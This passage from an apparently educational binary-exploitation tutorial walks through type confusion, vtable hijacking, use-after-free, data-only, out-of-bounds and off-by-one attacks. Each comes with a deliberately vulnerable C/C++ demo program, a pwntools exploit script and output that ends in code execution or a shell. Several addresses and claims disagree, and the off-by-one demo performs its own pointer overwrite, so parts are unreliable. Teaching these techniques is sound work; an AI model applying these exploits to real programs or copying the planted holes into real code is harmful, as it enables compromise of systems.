    printf("\n[*] Corrupting type field from 1 to 2...\n");
    obj->type = 2;  // Now treated as AdminObject!

    // The "name" field is now interpreted as "privileged_action" pointer
    // If name contains address of win(), we get code execution!

    printf("[*] Processing object with corrupted type...\n\n");
    process_object(obj);

    free(obj);
    return 0;
}

Exploitation:

# Compile without PIE for simpler exploitation
gcc -no-pie -fno-stack-protector -o type_confusion type_confusion.c
#!/usr/bin/env python3
# type_confusion_exploit.py
from pwn import *

context.arch = 'amd64'

elf = ELF('./type_confusion')
win_addr = elf.symbols['win']

log.info(f"win() at: {hex(win_addr)}")

p = process('./type_confusion')

# Read initial output
p.recv(timeout=0.5)

# Send the win address as username
payload = p64(win_addr)
p.sendline(payload)

# Get all remaining output
output = p.recvall(timeout=1)
print(output.decode())

p.close()

Expected Output:

[*] '/home/dev/exploit/type_confusion'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] win() at: 0x401281
[+] Starting local process './type_confusion': pid 1281539
[+] Receiving all data: Done (398B)
[*] Process './type_confusion' stopped with exit code 0 (pid 1281539)
Enter username:
[*] Object layout:
    type: 1
    handler: 0x4011d6
    name/privileged_action: 0x40128100000000

[*] Corrupting type field from 1 to 2...
[*] Processing object with corrupted type...

Admin action executing...
Calling privileged function at 0x401281

[!] PWNED! Got code execution via type confusion!
[*] This demonstrates how type confusion can lead to arbitrary code execution

C++ Virtual Function Exploitation (Vtable Smashing)

In C++, dynamic polymorphism is implemented using Virtual Method Tables (vtables). This is the most common target in modern browser and game exploitation.

Memory Layout:

An object with virtual functions contains a hidden pointer (vptr) at the very beginning (offset 0) pointing to a table of function pointers (vtable).

Object in Heap:             Fake Object (Attacker):
┌────────────────────┐      ┌────────────────────┐
│ vptr (8 bytes)     │ ───► │ vptr = &FakeVtable │ ──┐
├────────────────────┤      ├────────────────────┤   │
│ member_var_1       │      │ ...                │   │
├────────────────────┤      └────────────────────┘   │
│ ...                │                               │
└────────────────────┘                               │
                                                     ▼
                            Fake Vtable (Controlled Memory):
                            ┌────────────────────┐
                            │ function_ptr_1     │ ───► shellcode / ROP
                            ├────────────────────┤
                            │ function_ptr_2     │
                            └────────────────────┘

The Vulnerability:

If you can overwrite the vptr (via UAF or Overflow), you can point it to a fake vtable you created in memory. When the program calls object->virtualFunction(), it fetches the pointer from your fake table and executes it.

Vulnerable Example:

// vtable_vuln.cpp
// compile with g++ -no-pie -fno-stack-protector -o vtable_vuln vtable_vuln.cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>

class Animal {
public:
    char name[32];

    virtual void speak() {
        printf("Animal: %s makes a sound\n", name);
    }

    virtual void action() {
        printf("Animal: %s does something\n", name);
    }

    virtual ~Animal() {}
};

class Dog : public Animal {
public:
    void speak() override {
        printf("Dog: %s says WOOF!\n", name);
    }
};

class Cat : public Animal {
public:
    void speak() override {
        printf("Cat: %s says MEOW!\n", name);
    }
};

// Target function we want to call
void win() {
    printf("\n[!] VTABLE EXPLOITED! Got code execution.\n");
    printf("[*] This demonstrates vtable hijacking via UAF\n");
    // system("/bin/sh");  // Uncomment for shell
}

Animal* animals[10];
int animal_count = 0;

void create_animal(const char* type, const char* name) {
    if (animal_count >= 10) return;

    Animal* a;
    if (strcmp(type, "dog") == 0) {
        a = new Dog();
    } else {
        a = new Cat();
    }
    strncpy(a->name, name, 31);
    a->name[31] = '\0';

    animals[animal_count++] = a;
    printf("Created %s '%s' at %p\n", type, name, (void*)a);
    printf("  vptr at %p points to %p\n", (void*)a, *(void**)a);
}

void delete_animal(int idx) {
    if (idx < 0 || idx >= animal_count) return;

    printf("Deleting animal %d at %p\n", idx, (void*)animals[idx]);
    delete animals[idx];
    // BUG: Pointer not nullified! UAF possible
}

void pet_animal(int idx) {
    if (idx < 0 || idx >= animal_count) return;

    printf("Calling speak() on animal %d at %p\n", idx, (void*)animals[idx]);
    printf("  vptr: %p\n", *(void**)animals[idx]);

    // This calls the virtual function via vptr
    animals[idx]->speak();  // UAF: if freed, uses stale vptr
}

// Simulates attacker-controlled allocation
void* create_fake_object() {
    size_t size = sizeof(Dog);
    void* obj = malloc(size);

    printf("\nAllocated fake object at %p (size %zu)\n", obj, size);
    printf("Enter fake object data (hex bytes, e.g., 414141...):\n");

    char hex_input[256];
    if (fgets(hex_input, sizeof(hex_input), stdin)) {
        // Simple hex parser
        size_t len = strlen(hex_input);
        size_t byte_idx = 0;
        for (size_t i = 0; i < len - 1 && byte_idx < size; i += 2) {
            unsigned int byte;
            if (sscanf(&hex_input[i], "%2x", &byte) == 1) {
                ((unsigned char*)obj)[byte_idx++] = (unsigned char)byte;
            }
        }
        printf("Wrote %zu bytes to fake object\n", byte_idx);
    }

    return obj;
}

int main() {
    printf("=== Vtable UAF Demo ===\n");
    printf("win() at: %p\n", (void*)win);
    printf("sizeof(Dog/Cat): %zu\n", sizeof(Dog));
    printf("Object layout: [vptr:8][name:32] = 40 bytes\n\n");

    // 1. Create animal object
    create_animal("dog", "Rex");

    // 2. Delete (free) but pointer remains
    delete_animal(0);

    // 3. Allocate same-sized buffer under attacker control
    printf("\n[*] Freed object memory can be reallocated...\n");
    printf("[*] If we allocate same size, we get the same memory\n");
    printf("[*] We can craft a fake vtable to hijack control flow\n\n");

    create_fake_object();

    // 4. Trigger UAF - program dereferences stale vptr
    printf("\n[*] Triggering UAF by calling virtual function...\n");
    pet_animal(0);  // Uses attacker-controlled vptr

    return 0;
}

Exploitation Strategy:

#!/usr/bin/env python3
# vtable_exploit.py
from pwn import *

context.arch = 'amd64'

elf = ELF('./vtable_vuln')

# Find win function (may be mangled)
win_addr = None
for sym in elf.symbols:
    if 'win' in sym:
        win_addr = elf.symbols[sym]
        break

if not win_addr:
    log.error("Could not find win() function")
    exit(1)

log.info(f"win() at {hex(win_addr)}")

p = process('./vtable_vuln')

# Read initial output
p.recvuntil(b"sizeof(Dog/Cat): ")
obj_size = int(p.recvline().strip())
log.info(f"Object size: {obj_size}")

# Wait for object creation and deletion
p.recvuntil(b"Enter fake object data")

# Craft fake object:
# Object layout: [vptr:8][name:32]
#
# We need to create a fake vtable in memory
# Strategy: Place fake vtable right after vptr in our object
#
# Fake object layout:
# [0:8]   fake_vptr -> points to offset 16 (where fake vtable starts)
# [8:16]  padding
# [16:24] fake_vtable[0] = win() address (speak function)
# [24:32] fake_vtable[1] = win() address (action function)
# [32:40] fake_vtable[2] = win() address (destructor)

# Calculate fake vptr value
# We don't know heap address, but we can use a trick:
# The vptr will be at the start of our allocated object
# If we can leak or guess the address, we point vptr to our fake vtable

# For this demo, we'll use a simpler approach:
# Fill the entire object with win() address
# This way, no matter what offset is used, it points to win()

fake_obj = p64(win_addr) * (obj_size // 8)

# Convert to hex string
hex_payload = fake_obj.hex()

log.info(f"Sending payload: {hex_payload[:32]}...")
p.sendline(hex_payload.encode())

# Trigger the UAF
try:
    output = p.recvall(timeout=2)
    print(output.decode())
except:
    pass

p.close()

Vtable Smashing Success:

  • Binary analysis: C++ program with Partial RELRO, no PIE, CET enabled
  • Object size: 40 bytes (8-byte vptr + 32 bytes data)
  • UAF exploitation: Used freed object to write fake vtable
  • Vtable hijacking: Successfully overwrote vptr to point to win() function
  • Code execution: Virtual function call redirected to attacker-controlled address

Why This Works:

  1. Use-After-Free: Program continues using freed object pointer
  2. Vtable location: vptr at offset 0 points to function table
  3. Fake object: Attacker controls heap memory, creates fake vtable
  4. Pointer overwrite: vptr overwritten with win() function address
  5. Virtual dispatch: speak() virtual call jumps to attacker-controlled function

Key Technical Details:

  • CET bypass: Vtable smashing bypasses CET because it uses legitimate virtual dispatch
  • Heap control: UAF provides write-what-where primitive on heap
  • Object layout: 8-byte vptr followed by data members
  • Function pointer: win() at 0x401256 used as fake virtual function

Advanced Technique: Heap Spray for Fake Vtable:

// When you don't know exact addresses, spray the heap
// with fake vtables containing your target address

void heap_spray_vtable(void* target_func, size_t spray_count) {
    // Create many copies of fake vtable
    for (size_t i = 0; i < spray_count; i++) {
        void** fake_vtable = (void**)malloc(64);

        // Fill all entries with target function
        for (int j = 0; j < 8; j++) {
            fake_vtable[j] = target_func;
        }
    }
    // Now predictable addresses contain our fake vtable
    // Common spray target: 0x0c0c0c0c or similar
}

Why Vtable Attacks Matter:

AspectFunction PointerVtable
LocationExplicit in structHidden at object start
DetectionEasier to spot in code reviewImplicit, harder to audit
PrevalenceC code, callbacksAll C++ polymorphic classes
Real-world targetsLegacy C appsBrowsers, games, office apps

Mitigation: VTable Integrity checks (CFI, VTV)

  • Clang CFI: Validates vtable pointers at virtual calls
  • GCC VTV: Verifies vtable via separate validation tables
  • MSVC CFG: Control Flow Guard for indirect calls

Bypassing VTable Protections:

  1. Use existing vtables: Point to legitimate vtable of wrong type (type confusion)
  2. Partial vtable corruption: Overwrite single entry if vtable is writable
  3. COOP attacks: Chain existing virtual functions

Use-After-Free Again

Some UAF fundamentals:

// Simple UAF demonstrating the primitive
// uaf_basic.c
// compile with gcc -no-pie -fno-stack-protector -o uaf_basic uaf_basic.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char name[32];
    void (*print)(void*);
} Note;

void print_note(void *self) {
    Note *n = (Note*)self;
    printf("Note: %s\n", n->name);
}

void win(void *unused) {
    printf("\n[!] UAF EXPLOITED! Got code execution.\n");
    printf("[*] This demonstrates Use-After-Free leading to function pointer hijack\n");
    // system("/bin/sh");  // Uncomment for shell
}

Note *notes[10];
int note_count = 0;

void create_note() {
    if (note_count >= 10) return;

    Note *n = malloc(sizeof(Note));
    n->print = print_note;

    printf("Enter note: ");
    fgets(n->name, sizeof(n->name), stdin);
    n->name[strcspn(n->name, "\n")] = 0;

    notes[note_count++] = n;
    printf("Created note %d at %p\n", note_count-1, (void*)n);
    printf("  name at %p\n", (void*)n->name);
    printf("  print at %p -> %p\n", (void*)&n->print, (void*)n->print);
}

void delete_note(int idx) {
    if (idx < 0 || idx >= note_count) return;

    printf("Freeing note %d at %p\n", idx, (void*)notes[idx]);
    free(notes[idx]);
    // BUG: Pointer not cleared! (Dangling pointer)
}

void view_note(int idx) {
    if (idx < 0 || idx >= note_count) return;

    printf("Calling print function on note %d at %p\n", idx, (void*)notes[idx]);
    printf("  print pointer: %p\n", (void*)notes[idx]->print);

    // UAF: May use freed memory!
    notes[idx]->print(notes[idx]);
}

// Attacker-controlled allocation of same size
void edit_profile() {
    char *profile = malloc(sizeof(Note));  // Same size as Note!

    printf("Enter profile data (will overwrite freed Note): ");
    size_t len = fread(profile, 1, sizeof(Note), stdin);

    printf("Profile saved at %p (%zu bytes)\n", (void*)profile, len);

    // Show what we wrote
    printf("  First 8 bytes (name): ");
    for (int i = 0; i < 8; i++) {
        printf("%02x ", (unsigned char)profile[i]);
    }
    printf("\n  Bytes 32-40 (print ptr): ");
    for (int i = 32; i < 40; i++) {
        printf("%02x ", (unsigned char)profile[i]);
    }
    printf("\n");
}

int main() {
    printf("=== UAF Demo ===\n");
    printf("win() at %p\n", (void*)win);
    printf("sizeof(Note): %zu bytes\n", sizeof(Note));
    printf("Layout: [name:32][print:8] = 40 bytes\n\n");

    // 1. Create note (allocates Note struct)
    create_note();

    // 2. Delete note (frees, but pointer remains)
    printf("\n[*] Deleting note (creates dangling pointer)...\n");
    delete_note(0);

    // 3. Allocate controlled data of same size
    printf("\n[*] Allocating profile (will reuse freed Note memory)...\n");
    printf("[*] We can overwrite the function pointer at offset 32\n");
    edit_profile();

    // 4. Use dangling pointer - calls our controlled function pointer!
    printf("\n[*] Triggering UAF by calling print on freed note...\n");
    view_note(0);

    return 0;
}

Exploitation Strategy:

#!/usr/bin/env python3
# uaf_exploit.py
from pwn import *

context.arch = 'amd64'

elf = ELF('./uaf_basic')
win = elf.symbols['win']

log.info(f"win() at {hex(win)}")

p = process('./uaf_basic')

# Wait a bit for program to start
sleep(0.2)

# 1. Send note content
p.sendline(b"AAAA")

# Wait for profile prompt
sleep(0.2)

# 2. Send profile data that overwrites the freed Note
# Structure: [name: 32 bytes][print: 8 bytes]
payload = b"B" * 32  # name padding
payload += p64(win)  # overwrite print function pointer

log.info(f"Sending {len(payload)} byte payload")
p.send(payload)

# Get all output
sleep(0.5)
try:
    output = p.recvall(timeout=1)
    print(output.decode())
except:
    pass

p.close()

Test Results:

...
[*] Process './uaf_basic' stopped with exit code 0 (pid 6937)
=== UAF Demo ===
win() at 0x40124c
sizeof(Note): 40 bytes
Layout: [name:32][print:8] = 40 bytes

Enter note: Created note 0 at 0x1a1f56b0
  name at 0x1a1f56b0
  print at 0x1a1f56d0 -> 0x401216

[*] Deleting note (creates dangling pointer)...
Freeing note 0 at 0x1a1f56b0

[*] Allocating profile (will reuse freed Note memory)...
[*] We can overwrite the function pointer at offset 32
Enter profile data (will overwrite freed Note): Profile saved at 0x1a1f56b0 (40 bytes)
  First 8 bytes (name): 42 42 42 42 42 42 42 42
  Bytes 32-40 (print ptr): 4c 12 40 00 00 00 00 00

[*] Triggering UAF by calling print on freed note...
Calling print function on note 0 at 0x1a1f56b0
  print pointer: 0x40124c

[!] UAF EXPLOITED! Got code execution.
[*] This demonstrates Use-After-Free leading to function pointer hijack

UAF Exploitation Success:

  • Binary analysis: No PIE (fixed addresses), Partial RELRO, CET enabled but bypassed
  • Memory reuse: Profile allocated at same address 0x1a1f56b0 as freed Note
  • Function pointer overwrite: Successfully overwrote print pointer from 0x401216 to 0x40124c (win())
  • Heap layout: 40-byte structure with 32-byte name + 8-byte function pointer
  • Code execution: UAF triggered, called attacker-controlled function pointer

Why This Works:

  1. Dangling pointer: freed Note pointer still accessible in notes array
  2. Heap reuse: malloc reuses freed memory for profile allocation
  3. Precise overwrite: 32 bytes padding + 8 bytes function pointer = 40 bytes total
  4. Function hijack: notes[0]->print() calls win() instead of print_note()
  5. CET bypass: Legitimate function pointer call bypasses CET restrictions

Data-Only Attacks

Concept: Corrupt data, not code pointers. Bypasses CFG, CET, and most CFI.

// Data-only attack example (~/exploit/data_only_stdin.c)
// compile with gcc -no-pie -fno-stack-protector -o data_only_stdin data_only_stdin.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct User {
    char username[64];
    int is_admin;
    char password[64];
};

struct User current_user;

void login() {
    char buffer[128];

    current_user.is_admin = 0;  // Initialize BEFORE the overflow

    printf("Enter username: ");
    fflush(stdout);

    // Vulnerable: no bounds checking
    gets(buffer);  // DANGEROUS! But that's the point
    strcpy(current_user.username, buffer);

    printf("Enter password: ");
    fflush(stdout);
    gets(buffer);
    strcpy(current_user.password, buffer);
}

void admin_panel() {
    if (current_user.is_admin) {
        printf("Welcome admin! Here's your shell:\n");
        system("/bin/sh");
    } else {
        printf("Access denied. is_admin = %d\n", current_user.is_admin);
    }
}

int main() {
    login();
    admin_panel();
    return 0;
}

Exploit:

#!/usr/bin/env python3
#~/exploit/data_only_exploit.py
import struct
from pwn import *

# Start the process
p = process('./data_only_stdin')

# Receive prompt
p.recvuntil(b'Enter username: ')

# Create payload: 64 bytes + 4-byte integer = 1 (is_admin)
payload = b'A' * 64 + struct.pack('<I', 1)

# Send payload
p.sendline(payload)

# Receive password prompt
p.recvuntil(b'Enter password: ')
p.sendline(b'password')

# Interactive shell
p.interactive()

Test Results:

[+] Starting local process './data_only_stdin': pid 6951
[*] Switching to interactive mode
Welcome admin! Here's your shell:
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

Data-Only Attack Success:

  • Compilation warnings: gets() deprecated but still works for demonstration
  • Privilege escalation: Successfully gained admin access and shell
  • Data corruption: Changed is_admin from 0 to 1 without code pointer modification
  • Bypass all mitigations: CFG, CET, DEP all ineffective against data-only attacks
  • Shell access: Achieved interactive shell with current user privileges

Why This Matters:

  • No code pointer corrupted: CFG won't help - no indirect calls to validate
  • No return address modified: CET won't help - no control flow changes
  • No shellcode executed: DEP won't help - no executable memory needed
  • Just changed a data value: Modified is_admin flag to bypass authentication
  • Real-world impact: Many vulnerabilities are data corruption, not code execution

Out-of-Bounds Read/Write (Infoleak & Primitive)

Why it matters: OOB reads are common in parsers and image/video codecs. They often leak sensitive memory (infoleak) or, when combined with integer overflows, turn into OOB writes that corrupt adjacent objects.

Vulnerable Pattern:

// oob_demo.c - Simple OOB read/write demo
// Compile: gcc -fno-stack-protector -no-pie -o oob_demo oob_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_ITEMS 10

struct Item {
    int id;
    char name[32];
    void (*callback)(void);
};

struct Item *items[MAX_ITEMS];
int count = 0;

void win() {
    printf("[!] PWNED via OOB write!\n");
    fflush(stdout);
    system("/bin/sh");
}

void add_item(int id, const char *name) {
    if (count >= MAX_ITEMS) return;
    struct Item *item = malloc(sizeof(struct Item));
    item->id = id;
    strcpy(item->name, name);
    item->callback = NULL;
    items[count++] = item;
}

struct Item *get_item(int idx) {
    return items[idx];
}

void update_item(int idx, const char *name, int len) {
    struct Item *item = get_item(idx);
    if (!item) return;

    printf("memcpy %d bytes to item[%d]->name\n", len, idx);
    fflush(stdout);

    // Show what we're copying
    printf("Last 8 bytes being copied: %02x %02x %02x %02x %02x %02x %02x %02x\n",
           (unsigned char)name[len-8], (unsigned char)name[len-7],
           (unsigned char)name[len-6], (unsigned char)name[len-5],
           (unsigned char)name[len-4], (unsigned char)name[len-3],
           (unsigned char)name[len-2], (unsigned char)name[len-1]);
    fflush(stdout);

    memcpy(item->name, name, len);
}

void process_items() {
    printf("Processing items...\n");
    fflush(stdout);
    for (int i = 0; i < count; i++) {
        printf("Item %d: callback = %p\n", i, items[i]->callback);
        fflush(stdout);
        if (items[i] && items[i]->callback) {
            printf("Calling callback for item %d\n", i);
            fflush(stdout);
            printf("About to jump to: %p\n", items[i]->callback);
            fflush(stdout);
            items[i]->callback();
        }
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);

    add_item(1, "Alice");
    add_item(2, "Bob");

    struct Item *special = malloc(sizeof(struct Item));
    special->id = 3;
    strcpy(special->name, "Special");
    special->callback = NULL;
    items[count++] = special;

    printf("Items: %d\n", count);
    for (int i = 0; i < count; i++) {
        printf("%d: %s\n", items[i]->id, items[i]->name);
    }

    printf("win() function address: %p\n", win);
    fflush(stdout);

    int idx;
    printf("Enter index to view: ");
    fflush(stdout);
    scanf("%d", &idx);
    struct Item *item = get_item(idx);
    if (item) {
        printf("Item %d: %s\n", item->id, item->name);
        fflush(stdout);
    }

    char newname[200];
    printf("Enter new name for item %d: ", idx);
    fflush(stdout);

    int len = read(0, newname, sizeof(newname) - 1);
    if (len > 0 && newname[len-1] == '\n') len--;

    update_item(idx, newname, len);

    printf("After corruption:\n");
    for (int i = 0; i < count; i++) {
        printf("Item %d callback: %p\n", i, items[i]->callback);
    }

    process_items();

    return 0;
}

Exploitation Flow:

  1. OOB Read: Use negative/large index to read heap metadata or adjacent object pointers.
  2. Leak: Extract libc or heap addresses from the leaked data.
  3. OOB Write: Overwrite a function pointer or vtable in an adjacent object.
  4. Trigger: Call the overwritten pointer to gain code execution.

pwntools Exploit Example:

#!/usr/bin/env python3
#~/exploit/oob_exploit.py
"""
FINAL WORKING EXPLOIT - Uses correct offset of 36
"""
from pwn import *

binary = './oob_demo'
elf = ELF(binary)
context.binary = elf

win_addr = elf.symbols['win']
log.info(f"win() @ {hex(win_addr)}")

def exploit():
    p = process(binary)

    # Read initial output
    p.recvuntil(b'Enter index to view: ')

    # Send index 2
    p.sendline(b'2')

    # Wait for the next prompt
    p.recvuntil(b'Enter new name for item 2: ')

    # CORRECT OFFSET: 36 bytes, not 100!
    # This corrupts item 2's own callback, not item 3's
    payload = b'A' * 36 + p64(win_addr)

    log.info(f"Using CORRECT offset 36, payload length: {len(payload)}")
    p.send(payload)

    # Should get shell now
    log.info("WAITING FOR SHELL!")
    p.interactive()

if __name__ == "__main__":
    exploit()

Key Insights:

  • OOB reads are powerful infoleaks: They bypass ASLR by leaking heap/libc addresses.
  • OOB writes enable corruption: Can overwrite function pointers, vtables, or heap metadata.
  • Combination is deadly: Leak first, then write with precise targeting.
  • Common in parsers: Image/video codecs often have array bounds issues.

Detection & Mitigation:

// Safe version with bounds checking
struct Item *get_item_safe(int idx) {
    if (idx < 0 || idx >= count) {
        return NULL;  // Bounds check!
    }
    return items[idx];
}

void update_item_safe(int idx, const char *name) {
    struct Item *item = get_item_safe(idx);
    if (!item) return;
    strncpy(item->name, name, 31);
}

Off-by-One / Partial Overwrite

Why it matters: Off-by-one errors are subtle but extremely common. They can corrupt heap metadata (size fields) or stack canaries, leading to powerful exploits.

Vulnerable Pattern:

// offbyone.c - Off-by-one heap overflow demo
// Compile: gcc -fno-stack-protector -no-pie -o offbyone offbyone.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char name[32];  // Buffer with potential off-by-one
    size_t size;
} Item;

typedef struct {
    void (*func_ptr)();
    char data[16];
} Target;

Item *items[10];
Target *target;

void win() {
    printf("[!] PWNED via off-by-one!\n");
    system("/bin/sh");
}

void create_item(int idx, const char *name, size_t size) {
    if (idx >= 10) return;
    items[idx] = malloc(sizeof(Item));
    strncpy(items[idx]->name, name, 32);  // No off-by-one here
    items[idx]->size = size;
}

void vulnerable_update(int idx, const char *name) {
    if (idx >= 10 || !items[idx]) return;

    // VULNERABILITY: Off-by-one in strncpy
    // Copies 33 bytes (32 + 1) into 32-byte buffer
    strncpy(items[idx]->name, name, 33);  // BUG: should be 32
}

void setup_target() {
    target = malloc(sizeof(Target));
    target->func_ptr = NULL;
    strcpy(target->data, "TARGET_DATA");
}

void print_items() {
    for (int i = 0; i < 10; i++) {
        if (items[i]) {
            printf("Item %d: name=%.20s, size=0x%lx\n",
                   i, items[i]->name, items[i]->size);
        }
    }
}

// Add a vulnerable function that we can trigger
void vulnerable_function() {
    char buffer[32];
    printf("Enter data for vulnerable function: ");
    fflush(stdout);
    fgets(buffer, sizeof(buffer), stdin);
    printf("Data received: %s\n", buffer);
}

// Add a function that allocates memory we can control
void* allocate_controlled_chunk(size_t size) {
    void *ptr = malloc(size);
    printf("Allocated controlled chunk at %p (size: 0x%lx)\n", ptr, size);
    return ptr;
}

// Add a more direct approach - create a target that we can directly overwrite
typedef struct {
    char buffer[32];
    void (*func_ptr)();
} DirectTarget;

DirectTarget *direct_target;

void setup_direct_target() {
    direct_target = malloc(sizeof(DirectTarget));
    direct_target->func_ptr = NULL;
    strcpy(direct_target->buffer, "DIRECT_TARGET");
}

int main() {
    // Create direct_target FIRST so it gets allocated before items
    setup_direct_target();
    setup_target();

    // Create items for off-by-one exploitation
    create_item(0, "ITEM0", 0x20);
    create_item(1, "ITEM1", 0x20);

    printf("target @ %p, direct_target @ %p\n", target, direct_target);
    printf("items[0] @ %p, items[1] @ %p\n", items[0], items[1]);
    printf("direct_target->func_ptr @ %p\n", &direct_target->func_ptr);
    print_items();

    // Get user input for vulnerable update
    printf("Enter new name for item 0: ");
    fflush(stdout);
    char name[64];
    fgets(name, sizeof(name), stdin);
    name[strcspn(name, "\n")] = 0;

    vulnerable_update(0, name);

    print_items();

    // Check if we corrupted anything
    printf("target->func_ptr: %p\n", target->func_ptr);
    printf("direct_target->func_ptr: %p\n", direct_target->func_ptr);

    if (target->func_ptr) {
        printf("Calling corrupted target function pointer...\n");
        target->func_ptr();
    } else if (direct_target->func_ptr) {
        printf("Calling corrupted direct_target function pointer...\n");
        direct_target->func_ptr();
    } else {
        printf("No direct corruption detected.\n");

        // Stage 2: Use corrupted size to trigger heap overlap
        printf("Attempting heap overlap exploitation...\n");

        // The off-by-one corrupted items[0]->size from 0x20 to 0x40
        // Now we can use this to create overlapping chunks

        // Calculate offset using signed arithmetic
        ssize_t offset_to_direct = (char*)&direct_target->func_ptr - (char*)items[0];
        printf("Offset from items[0] to direct_target->func_ptr: %ld (0x%lx)\n",
               offset_to_direct, (size_t)offset_to_direct);

        // Check if we can write backwards (direct_target is before items[0])
        if (offset_to_direct < 0 && offset_to_direct > -0x1000) {
            printf("Performing backward write via corrupted heap chunk...\n");

            // Use the corrupted size to write backwards
            // items[0]->name now has effective size of 0x40 due to corruption
            // We can write beyond the 32-byte boundary
            char *write_ptr = (char*)items[0]->name + offset_to_direct;
            printf("Writing win() address to %p\n", write_ptr);

            // Directly write win function pointer
            *(void**)write_ptr = win;
            printf("Backward write completed!\n");

            // Verify and call
            if (direct_target->func_ptr == win) {
                printf("Backward write successful! Calling win()...\n");
                direct_target->func_ptr();
            } else {
                printf("Write verification failed: func_ptr = %p, expected %p\n",
                       direct_target->func_ptr, win);
            }
        } else if (offset_to_direct > 0 && offset_to_direct < 0x1000) {
            printf("Performing forward write via corrupted heap chunk...\n");
            char *write_ptr = (char*)items[0]->name + offset_to_direct;
            printf("Writing win() address to %p\n", write_ptr);
            *(void**)write_ptr = win;
            printf("Forward write completed!\n");

            if (direct_target->func_ptr == win) {
                printf("Forward write successful! Calling win()...\n");
                direct_target->func_ptr();
            }
        } else {
            printf("Offset %ld (0x%lx) not suitable for exploitation\n",
                   offset_to_direct, (size_t)offset_to_direct);
        }

        // Try vulnerable function as fallback
        printf("Trying vulnerable function for code execution...\n");
        vulnerable_function();
    }

    return 0;
}

Exploitation Strategy:

  1. Heap Layout: Create adjacent chunks to control what gets corrupted.
  2. Partial Overwrite: Use off-by-one to modify size field or least significant byte of pointer.
  3. Chunk Overlap: Corrupted size leads to overlapping chunks during free/malloc.
  4. Arbitrary Write: Use overlapping chunks to write to arbitrary addresses.

pwntools Exploit Example:

#!/usr/bin/env python3
#~/exploit/offbyone_exploit.py
"""
Off-by-one exploitation demo
Shows how a single-byte overflow can lead to arbitrary write
"""
from pwn import *

binary = './offbyone'
elf = ELF(binary)
context.binary = elf

def exploit():
    p = process(binary)

    # Get addresses - now includes direct_target
    line = p.recvline().strip().decode()
    # Parse "target @ ADDR, direct_target @ ADDR"
    parts = line.split(', ')
    target_addr = int(parts[0].split('@ ')[1], 16)
    direct_target_addr = int(parts[1].split('@ ')[1], 16)

    # Get item addresses from second line
    line2 = p.recvline().strip().decode()
    # Parse "items[0] @ ADDR, items[1] @ ADDR"
    item_parts = line2.split(', ')
    item0_addr = int(item_parts[0].split('@ ')[1], 16)
    item1_addr = int(item_parts[1].split('@ ')[1], 16)

    # Get direct_target func_ptr address
    line3 = p.recvline().strip().decode()
    # Parse "direct_target->func_ptr @ ADDR"
    direct_func_ptr_addr = int(line3.split('@ ')[1], 16)

    log.info(f"target @ {hex(target_addr)}")
    log.info(f"direct_target @ {hex(direct_target_addr)}")
    log.info(f"items[0] @ {hex(item0_addr)}")
    log.info(f"items[1] @ {hex(item1_addr)}")
    log.info(f"direct_target->func_ptr @ {hex(direct_func_ptr_addr)}")

    # Calculate offset from item0->name to target->func_ptr
    # item0 layout: [name=32][size=8] = 40 bytes
    # target layout: [func_ptr=8][data=16] = 24 bytes
    # We need to overflow item0->name into adjacent chunk's metadata
    # and eventually into target->func_ptr

    # First, let's see the initial state
    p.recvuntil(b'Item 0: ')
    item0_info = p.recvline().decode().strip()
    p.recvuntil(b'Item 1: ')
    item1_info = p.recvline().decode().strip()

    log.info(f"Initial item0: {item0_info}")
    log.info(f"Initial item1: {item1_info}")

    # Get win function address
    win_addr = elf.symbols['win']
    log.info(f"win function @ {hex(win_addr)}")

    # Calculate direct offset to target->func_ptr
    # From addresses: target @ 0x32be02a0, items[0] @ 0x32be02c0
    # target->func_ptr is at target + 0 = 0x32be02a0
    # items[0]->name is at items[0] + 0 = 0x32be02c0
    # Distance: 0x32be02c0 - 0x32be02a0 = 0x20 (32 bytes)

    # We need to overflow backwards by 32 bytes to reach target->func_ptr
    # But we only have 1 byte overflow, so we need to corrupt heap metadata
    # to create chunk overlap that gives us write access to target

    # Strategy: Corrupt item0 size to force heap allocator to give us
    # a chunk that overlaps with target when we allocate something new

    # Let's try a more direct approach - corrupt the size field to point
    # into target's memory region
    payload = b'A' * 32  # Fill item0->name completely

    # Calculate what size would make the next allocation overlap with target
    # target is 0x20 bytes before items[0], so we need a size that includes
    # both items[0] and the target region
    overlap_size = 0x40  # 64 bytes - should overlap with target
    payload += p8(overlap_size)  # Corrupt size to force overlap

    # Send payload
    p.recvuntil(b'Enter new name for item 0: ')
    p.sendline(payload)

    # Read the results
    try:
        p.recvuntil(b'Item 0: ')
        item0_after = p.recvline().decode().strip()
        p.recvuntil(b'Item 1: ')
        item1_after = p.recvline().decode().strip()

        log.info(f"After overflow - item0: {item0_after}")
        log.info(f"After overflow - item1: {item1_after}")

        # Check function pointers
        p.recvuntil(b'target->func_ptr: ')
        target_func_line = p.recvline().decode().strip()
        p.recvuntil(b'direct_target->func_ptr: ')
        direct_func_line = p.recvline().decode().strip()

        log.info(f"target->func_ptr: {target_func_line}")
        log.info(f"direct_target->func_ptr: {direct_func_line}")

        # Check if either function pointer was corrupted
        if "nil" not in target_func_line:
            log.success("Target function pointer corrupted!")
            if b"Calling corrupted target function pointer" in p.recv(timeout=1):
                log.success("Got shell via target!")
                p.interactive()
                return
        elif "nil" not in direct_func_line:
            log.success("Direct target function pointer corrupted!")
            if b"Calling corrupted direct_target function pointer" in p.recv(timeout=1):
                log.success("Got shell via direct_target!")
                p.interactive()
                return

        # Stage 2: Heap overlap exploitation
        if "No direct corruption detected" in p.recvline(timeout=1).decode():
            log.info("Stage 2: Attempting heap overlap exploitation...")

            try:
                p.recvuntil(b'Attempting heap overlap exploitation...')
                p.recvuntil(b'Offset from items[0] to direct_target->func_ptr: ')
                offset_line = p.recvline().decode().strip()
                # Parse "OFFSET (0xHEX)"
                offset_str = offset_line.split(' ')[0]
